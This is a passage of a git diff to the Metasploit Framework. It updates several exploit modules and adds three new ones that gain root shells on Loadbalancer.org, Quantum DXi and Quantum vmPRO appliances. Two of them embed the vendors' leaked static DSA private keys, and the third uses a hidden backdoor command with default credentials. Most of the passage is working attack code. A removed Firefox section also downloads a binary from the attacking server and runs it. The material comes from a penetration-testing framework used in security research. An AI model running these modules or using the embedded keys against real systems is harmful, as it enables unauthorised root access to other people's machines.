+          ],
+          ['Netgear DG834G',
+            {
+              'Arch' => ARCH_MIPSLE,
+              'PackFormat' => 'VVV',
+              'PayloadEncode' => 'octal'
+            }
+          ],
+          ['Netgear DG834PN',
+            {
+              'Arch' => ARCH_MIPSBE,
+              'PackFormat' => 'VVV',
+              'NoArgs' => true
+            }
+          ],
+          ['Netgear DGN1000',
+            {
+              'Arch' => ARCH_MIPSBE,
+              'PackFormat' => 'VVV',
+              'NoArgs' => true
+            }
+          ],
+          ['Netgear DSG835',
+            {
+              'Arch' => ARCH_MIPSBE,
+              'PackFormat' => 'VVV',
+              'NoArgs' => true,
+            }
+          ],
+          ['Netgear WPNT834',
+            {
+              'Arch' => ARCH_MIPSBE,
+              'PackFormat' => 'NNN',
+              'UploadPath' => '/var',
+              'PayloadEncode' => 'octal'
+            }
+          ]
         ],
       'DefaultTarget'  => 0,
       'References'     =>
@@ -57,6 +125,15 @@ class Metasploit3 < Msf::Exploit::Remote
         [
           Opt::RPORT(32764)
         ], self.class)
+
+      register_advanced_options(
+        [
+          OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),
+          OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),
+          OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
+          OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
+        ], self.class)
+
   end
 
   def check
@@ -64,18 +141,35 @@ class Metasploit3 < Msf::Exploit::Remote
 
     case fprint
     when 'BE'
-      print_status("Detected Big Endian")
-      return Msf::Exploit::CheckCode::Vulnerable
+      vprint_status("Detected Big Endian")
+      return Msf::Exploit::CheckCode::Appears
     when 'LE'
-      print_status("Detected Little Endian")
-      return Msf::Exploit::CheckCode::Vulnerable
+      vprint_status("Detected Little Endian")
+      return Msf::Exploit::CheckCode::Appears
     end
 
-    return Msf::Exploit::CheckCode::Unknown
+    return Msf::Exploit::CheckCode::Safe
   end
 
   def exploit
-    execute_cmdstager(:noargs => true)
+    if target.name =~ /Manual/
+      print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")
+      @no_args = datastore['NOARGS']
+      @upload_path = datastore['UPLOADPATH']
+      @encoding_format = datastore['ENCODING']
+      @pack_format = datastore['PACKFORMAT']
+    else
+      @no_args = target['NoArgs']
+      @upload_path = target['UploadPath']
+      @encoding_format = target['PayloadEncode']
+      @pack_format = target['PackFormat']
+    end
+
+    execute_cmdstager(
+      :noargs => @no_args,
+      :temp => @upload_path,
+      :enc_format => @encoding_format
+    )
   end
 
   def endian_fingerprint
@@ -108,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
     # 0x53634d4d  => Backdoor code
     # 0x07        => Exec command
     # cmd_length  => Length of command to execute, sent after communication struct
-    data = [0x53634d4d, 0x07, cmd_length].pack("VVV")
+    data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)
 
     connect
     # Send command structure followed by command text
diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb
index 384e496d42..95cc260886 100644
--- a/modules/exploits/linux/misc/zabbix_server_exec.rb
+++ b/modules/exploits/linux/misc/zabbix_server_exec.rb
@@ -82,17 +82,17 @@ class Metasploit3 < Msf::Exploit::Remote
     cmd = "echo #{clue}"
 
     connect
-    print_status("#{peer} - Sending 'Command' request...")
+    vprint_status("#{peer} - Sending 'Command' request...")
     res = send_command(sock, node_id, cmd)
     disconnect
 
     if res
-      print_status(res)
+      vprint_status(res)
       if res =~ /#{clue}/
         return Exploit::CheckCode::Vulnerable
       elsif res =~ /-1/ and res=~ /NODE (\d*)/
         node_id = $1
-        print_good("#{peer} - Node ID #{node_id} discovered")
+        vprint_good("#{peer} - Node ID #{node_id} discovered")
       else
         return Exploit::CheckCode::Safe
       end
@@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     # Retry with the good node_id
     connect
-    print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
+    vprint_status("#{peer} - Sending 'Command' request with discovered Node ID...")
     res = send_command(sock, node_id, cmd)
     disconnect
     if res and res =~ /#{clue}/
diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb
index 3515686a94..5d4dfab9da 100644
--- a/modules/exploits/linux/postgres/postgres_payload.rb
+++ b/modules/exploits/linux/postgres/postgres_payload.rb
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
     version = postgres_fingerprint
 
     if version[:auth]
-      return CheckCode::Vulnerable
+      return CheckCode::Appears
     else
       print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
       return CheckCode::Safe
diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb
index eb465fbe83..66c7d88f19 100644
--- a/modules/exploits/linux/samba/setinfopolicy_heap.rb
+++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb
@@ -282,7 +282,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
       version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
       minor   = version.scan(/\.(\d*)$/).flatten[0].to_i
-      print_status("Version found: #{version}")
+      vprint_status("Version found: #{version}")
 
       return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
       return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
index 3e65911f6e..9215b121f2 100644
--- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
+++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
@@ -209,7 +209,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     # wait for payload download
     if (datastore['DOWNHOST'])
-      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
+      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the target to download the payload")
       select(nil, nil, nil, datastore['HTTP_DELAY'])
     else
       wait_linux_payload
diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb
new file mode 100644
index 0000000000..53a5d67d34
--- /dev/null
+++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb
@@ -0,0 +1,143 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info, {
+      'Name'        => 'Loadbalancer.org Enterprise VA SSH Private Key Exposure',
+      'Description' => %q{
+        Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances
+        version 7.5.2 that allows passwordless authentication to any other LB Enterprise box.
+        Since the key is easily retrievable, an attacker can use it to gain unauthorized remote
+        access as root.
+      },
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Privileged'  => true,
+      'Targets'     => [ [ "Universal", {} ] ],
+      'Payload'     =>
+        {
+          'Compat'  => {
+            'PayloadType'    => 'cmd_interact',
+            'ConnectionType' => 'find',
+          },
+        },
+      'Author'      => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['URL', 'http://packetstormsecurity.com/files/125754/Loadbalancer.org-Enterprise-VA-7.5.2-Static-SSH-Key.html']
+        ],
+      'DisclosureDate' => "Mar 17 2014",
+      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+      'DefaultTarget' => 0
+    }))
+
+    register_options(
+      [
+        # Since we don't include Tcp, we have to register this manually
+        Opt::RHOST(),
+        Opt::RPORT(22)
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+      ]
+    )
+
+  end
+
+  # helper methods that normally come from Tcp
+  def rhost
+    datastore['RHOST']
+  end
+  def rport
+    datastore['RPORT']
+  end
+
+  def do_login(user)
+    opt_hash = {
+      :auth_methods => ['publickey'],
+      :msframework  => framework,
+      :msfmodule    => self,
+      :port         => rport,
+      :key_data     => [ key_data ],
+      :disable_agent => true,
+      :config => false,
+      :record_auth_info => true,
+      :proxies => datastore['Proxies']
+    }
+    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+    begin
+      ssh_socket = nil
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
+      end
+    rescue Rex::ConnectionError, Rex::AddressInUse
+      return nil
+    rescue Net::SSH::Disconnect, ::EOFError
+      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+      return nil
+    rescue ::Timeout::Error
+      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+      return nil
+    rescue Net::SSH::AuthenticationFailed
+      print_error "#{rhost}:#{rport} SSH - Failed authentication"
+      return nil
+    rescue Net::SSH::Exception => e
+      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+      return nil
+    end
+
+    if ssh_socket
+
+      # Create a new session from the socket, then dump it.
+      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true)
+      ssh_socket = nil
+
+      return conn
+    else
+      return nil
+    end
+  end
+
+  def exploit
+    conn = do_login("root")
+    if conn
+      print_good "#{rhost}:#{rport} - Successful login"
+      handler(conn.lsock)
+    end
+  end
+
+  def key_data
+    <<EOF
+-----BEGIN DSA PRIVATE KEY-----
+MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
+Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
+yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
+rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
+t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
+cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
+TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
+MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
+2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
+SzmJVCWFyVuuANR2Bnc=
+-----END DSA PRIVATE KEY-----
+EOF
+  end
+
+end
+
+
diff --git a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb
new file mode 100644
index 0000000000..ad370140a3
--- /dev/null
+++ b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb
@@ -0,0 +1,140 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  def initialize(info = {})
+    super(update_info(info, {
+      'Name'        => 'Quantum DXi V1000 SSH Private Key Exposure',
+      'Description' => %q{
+        Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that
+        allows passwordless authentication to any other DXi box. Since the key is
+        easily retrievable, an attacker can use it to gain unauthorized remote
+        access as root.
+      },
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Privileged'  => true,
+      'Targets'     => [ [ "Universal", {} ] ],
+      'Payload'     =>
+        {
+          'Compat'  => {
+            'PayloadType'    => 'cmd_interact',
+            'ConnectionType' => 'find',
+          },
+        },
+      'Author'      => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['URL', 'http://packetstormsecurity.com/files/125755/quantum-root.txt']
+        ],
+      'DisclosureDate' => "Mar 17 2014",
+      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+      'DefaultTarget' => 0
+    }))
+
+    register_options(
+      [
+        # Since we don't include Tcp, we have to register this manually
+        Opt::RHOST(),
+        Opt::RPORT(22)
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+      ]
+    )
+
+  end
+
+  # helper methods that normally come from Tcp
+  def rhost
+    datastore['RHOST']
+  end
+  def rport
+    datastore['RPORT']
+  end
+
+  def do_login(user)
+    opt_hash = {
+      :auth_methods => ['publickey'],
+      :msframework  => framework,
+      :msfmodule    => self,
+      :port         => rport,
+      :key_data     => [ key_data ],
+      :disable_agent => true,
+      :config => false,
+      :record_auth_info => true,
+      :proxies => datastore['Proxies']
+    }
+    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+    begin
+      ssh_socket = nil
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
+      end
+    rescue Rex::ConnectionError, Rex::AddressInUse
+      return nil
+    rescue Net::SSH::Disconnect, ::EOFError
+      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+      return nil
+    rescue ::Timeout::Error
+      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+      return nil
+    rescue Net::SSH::AuthenticationFailed
+      print_error "#{rhost}:#{rport} SSH - Failed authentication"
+      return nil
+    rescue Net::SSH::Exception => e
+      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+      return nil
+    end
+
+    if ssh_socket
+
+      # Create a new session from the socket, then dump it.
+      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true)
+      ssh_socket = nil
+
+      return conn
+    else
+      return nil
+    end
+  end
+
+  def exploit
+    conn = do_login("root")
+    if conn
+      print_good "#{rhost}:#{rport} - Successful login"
+      handler(conn.lsock)
+    end
+  end
+
+  def key_data
+    <<EOF
+-----BEGIN DSA PRIVATE KEY-----
+MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2
+hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t
+Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2
++o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4
+6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5
+PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr
+E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK
+6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn
+k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u
+B3Upsx556K/iZPPnJZE=
+-----END DSA PRIVATE KEY-----
+EOF
+    end
+end
+
+
diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
new file mode 100644
index 0000000000..cf0a526f89
--- /dev/null
+++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
@@ -0,0 +1,137 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Auxiliary::CommandShell
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Quantum vmPRO Backdoor Command",
+      'Description'    => %q{
+        This module abuses a backdoor command in Quantum vmPRO. Any user, even one without admin
+        privileges, can get access to the restricted SSH shell. By using the hidden backdoor
+        "shell-escape" command it's possible to drop to a real root bash shell. This module
+        has been tested successfully on Quantum vmPRO 3.1.2.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'xistence <xistence[at]0x90.nl>'  # Original discovery and Metasploit module
+        ],
+      'References'     =>
+        [
+          ['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt']
+        ],
+      'DefaultOptions'  =>
+        {
+          'ExitFunction' => "none"
+        },
+      'Payload'        =>
+        {
+          'Compat' => {
+            'PayloadType'    => 'cmd_interact',
+            'ConnectionType' => 'find'
+          }
+        },
+      'Platform'       => 'unix',
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['Quantum vmPRO 3.1.2', {}],
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => "Mar 17 2014",
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RHOST(),
+        Opt::RPORT(22),
+        OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),
+        OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+      ]
+    )
+  end
+
+
+  def rhost
+    datastore['RHOST']
+  end
+
+
+  def rport
+    datastore['RPORT']
+  end
+
+
+  def do_login(user, pass)
+    opts = {
+      :auth_methods => ['password', 'keyboard-interactive'],
+      :msframework  => framework,
+      :msfmodule    => self,
+      :port         => rport,
+      :disable_agent => true,
+      :config => true,
+      :password => pass,
+      :record_auth_info => true,
+      :proxies => datastore['Proxies']
+    }
+
+    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+
+    begin
+      ssh = nil
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        ssh = Net::SSH.start(rhost, user, opts)
+      end
+    rescue Rex::ConnectionError, Rex::AddressInUse
+      return nil
+    rescue Net::SSH::Disconnect, ::EOFError
+      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+      return nil
+    rescue ::Timeout::Error
+      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+      return nil
+    rescue Net::SSH::AuthenticationFailed
+      print_error "#{rhost}:#{rport} SSH - Failed authentication"
+      return nil
+    rescue Net::SSH::Exception => e
+      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+      return nil
+    end
+
+    if ssh
+      conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', true)
+      return conn
+    end
+
+    return nil
+  end
+
+
+  def exploit
+    user = datastore['USER']
+    pass = datastore['PASS']
+
+    print_status("#{rhost}:#{rport} - Attempt to login...")
+    conn = do_login(user, pass)
+    if conn
+      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
+      handler(conn.lsock)
+    end
+  end
+end
diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
index 234e87b0f0..2b24b83cc1 100644
--- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
+++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
@@ -9,9 +9,17 @@ class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::BrowserExploitServer
-  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::BrowserAutopwn
   include Msf::Exploit::Remote::FirefoxAddonGenerator
 
+  autopwn_info({
+    :ua_name    => HttpClients::FF,
+    :ua_minver  => "5.0",
+    :ua_maxver  => "15.0.1",
+    :javascript => true,
+    :rank       => NormalRanking
+  })
+
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
@@ -57,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def on_request_exploit(cli, request, target_info)
     if request.uri.match(/\.xpi$/i)
       print_status("Sending the malicious addon")
-      send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
+      send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
     else
       print_status("Sending HTML")
       send_response_html(cli, generate_html(target_info))
@@ -76,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
       <body>
       #{datastore['CONTENT']}
       <div id='payload' style='display:none'>
-      if (!window.done){
+      if (!window.done) {
         window.AddonManager.getInstallForURL(
           '#{get_module_uri}/addon.xpi',
           function(install) { install.install() },
diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb
index 87df5d2845..dac5601f06 100644
--- a/modules/exploits/multi/browser/firefox_svg_plugin.rb
+++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb
@@ -8,8 +8,18 @@ require 'msf/core'
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
-  include Msf::Exploit::Remote::HttpServer::HTML
+  include Msf::Exploit::Remote::BrowserExploitServer
   include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::BrowserAutopwn
+  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
+
+  autopwn_info({
+    :ua_name    => HttpClients::FF,
+    :ua_minver  => "17.0",
+    :ua_maxver  => "17.0.1",
+    :javascript => true,
+    :rank       => NormalRanking
+  })
 
   def initialize(info = {})
     super(update_info(info,
@@ -31,35 +41,21 @@ class Metasploit3 < Msf::Exploit::Remote
         with script access should be able to trigger it.
       },
       'License'        => MSF_LICENSE,
-      'Platform'       => %w{ linux osx win },
-      'Targets'        =>
+      'Targets' => [
         [
-          [ 'Automatic',
-            {
-              'Platform' => %w{ linux osx win },
-              'Arch'     => ARCH_X86
-            }
-          ],
-          [ 'Windows x86 (Native Payload)',
-            {
-              'Platform' => 'win',
-              'Arch' => ARCH_X86
-            }
-          ],
-          [ 'Linux x86 (Native Payload)',
-            {
-              'Platform' => 'linux',
-              'Arch' => ARCH_X86
-            }
-          ],
-          [ 'Mac OS X x86 (Native Payload)',
-            {
-              'Platform' => 'osx',
-              'Arch' => ARCH_X86,
-            }
-          ]
+          'Universal (Javascript XPCOM Shell)', {
+            'Platform' => 'firefox',
+            'Arch' => ARCH_FIREFOX
+          }
         ],
-      'DefaultTarget'  => 0,
+        [
+          'Native Payload', {
+            'Platform' => %w{ java linux osx solaris win },
+            'Arch'     => ARCH_ALL
+          }
+        ]
+      ],
+      'DefaultTarget' => 0,
       'Author'         =>
         [
           'Marius Mlynski', # discovery & bug report
@@ -75,7 +71,13 @@ class Metasploit3 < Msf::Exploit::Remote
           ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
           ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
         ],
-      'DisclosureDate' => 'Jan 08 2013'
+      'DisclosureDate' => 'Jan 08 2013',
+      'BrowserRequirements' => {
+        :source  => 'script',
+        :ua_name => HttpClients::FF,
+        :ua_ver  => /17\..*/,
+        :flash   => /[\d.]+/
+      }
     ))
 
     register_options(
@@ -86,73 +88,16 @@ class Metasploit3 < Msf::Exploit::Remote
 
   end
 
-  def on_request_uri(cli, request)
-    my_target = get_target(request.headers['User-Agent'])
-    if my_target.nil?
-      print_error("User agent does not match an available payload type, bailing.")
-      send_not_found(cli)
-      return
-    end
-
-    target = my_target
-
+  def on_request_exploit(cli, request, info)
     if request.uri =~ /\.swf$/
       # send Flash .swf for navigating the frame to chrome://
       print_status("Sending .swf trigger.")
       send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
-    elsif request.uri =~ /\.bin/
-      # send the binary payload to drop & exec
-      print_status("Child frame navigated. Sending binary payload to drop & execute.")
-      send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
     else
       # send initial HTML page
       print_status("Target selected: #{target.name}")
       print_status("Sending #{self.name}")
-      send_response_html(cli, generate_html(target))
-    end
-    handler(cli)
-  end
-
-  # @return [String] the encoded executable for dropping onto the client's machine
-  def dropped_file_contents(cli, target)
-    return if ((p=regenerate_payload(cli)) == nil)
-    opts = target.opts
-    exe = ''
-
-    case target.name
-    when /windows/i
-      opts = opts.merge({:code=>p.encoded})
-      exe = generate_payload_exe(opts)
-    when /linux/i
-      exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
-    when /os x/i
-      exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
-    end
-
-    return exe
-  end
-
-  # @return [Msf::Module::Target] that matches the client's user-agent header
-  def get_target(agent)
-    # Not firefox, bail
-    if agent !~ /firefox/i
-      return nil
-    end
-
-    # User wants to manually specify a target, respect that
-    if target != targets[0]
-      return target
-    end
-
-    # os detection
-    if agent =~ /windows/i
-      targets[1]
-    elsif agent =~ /linux/i
-      targets[2]
-    elsif agent =~ /macintosh/i and agent =~ /intel/i
-      targets[3]
-    else
-      nil
+      send_response_html(cli, generate_html(cli, target))
     end
   end
 
@@ -162,77 +107,18 @@ class Metasploit3 < Msf::Exploit::Remote
     @flash_trigger ||= File.read(swf_path)
   end
 
-  # @return [String] the filename that will be used when the payload is dropped
-  def payload_filename(target)
-    if target.name =~ /Windows x86/i
-      "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
-    else
-      "#{Rex::Text.rand_text_alphanumeric(8)}.bin"
-    end
-  end
-
-  # @return [String] containing javascript code to execute with chrome privileges
-  def js_payload(target)
-    %Q|
-    #{js_debug("Injection successful. JS executing with chrome privileges.")}
-    var x = new XMLHttpRequest;
-    x.overrideMimeType('text/plain; charset=x-user-defined');
-    x.open('POST', '#{base_url}.bin', false);
-    x.send(null);
-    #{js_debug("'Payload: '+x.responseText", "")}
-    var file = Components.classes["@mozilla.org/file/directory_service;1"]
-      .getService(Components.interfaces.nsIProperties)
-      .get("TmpD", Components.interfaces.nsIFile);
-    file.append('#{payload_filename(target)}');
-    var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
-      .createInstance(Components.interfaces.nsIFileOutputStream);
-    stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
-    stream.write(x.responseText, x.responseText.length);
-    if (stream instanceof Components.interfaces.nsISafeOutputStream) {
-      stream.finish();
-    } else {
-      stream.close();
-    }
-    #{chmod_code(target)}
-    #{js_debug("'Downloaded to: '+file.path", "")}
-    var process = Components.classes["@mozilla.org/process/util;1"]
-      .createInstance(Components.interfaces.nsIProcess);
-    process.init(file);
-    process.run(false, [], 0);
-    |
-  end
-
   # @return [String] containing javascript that will alert a debug string
   #   if the DEBUG is set to true
   def js_debug(str, quote="'")
     if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
   end
 
-  # @return [String] containing javascript that will chmod the dropped executable
-  def chmod_code(target)
-    return '' if target.name == 'Windows x86 (Native Payload)'
-    %Q|
-      var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
-      chmod.initWithPath("/bin/chmod");
-      var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
-      process.init(chmod);
-      process.run(true, ["+x", file.path], 2);
-    |
-  end
-
-  # @return [String] URL for sending requests back to the module
-  def base_url
-    proto = (datastore["SSL"] ? "https" : "http")
-    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
-    "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
-  end
-
   # @return [String] HTML that is sent in the first response to the client
-  def generate_html(target)
+  def generate_html(cli, target)
     vars = {
       :symbol_id        => 'a',
       :random_domain    => 'safe',
-      :payload          => js_payload(target),
+      :payload          => run_payload, # defined in FirefoxPrivilegeEscalation mixin
       :payload_var      => 'c',
       :payload_key      => 'k',
       :payload_obj_var  => 'payload_obj',
@@ -240,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
       :access_string    => 'access',
       :frame_ref        => 'frames[0]',
       :frame_name       => 'n',
-      :loader_path      => "#{base_url}.swf",
+      :loader_path      => "#{get_module_uri}.swf",
       :content          => self.datastore['CONTENT'] || ''
     }
     %Q|
diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
index fde97006f6..2b9f00f4cd 100644
--- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
+++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
@@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpServer::HTML
-  include Msf::Exploit::EXE
   include Msf::Exploit::Remote::FirefoxAddonGenerator
 
   def initialize( info = {} )
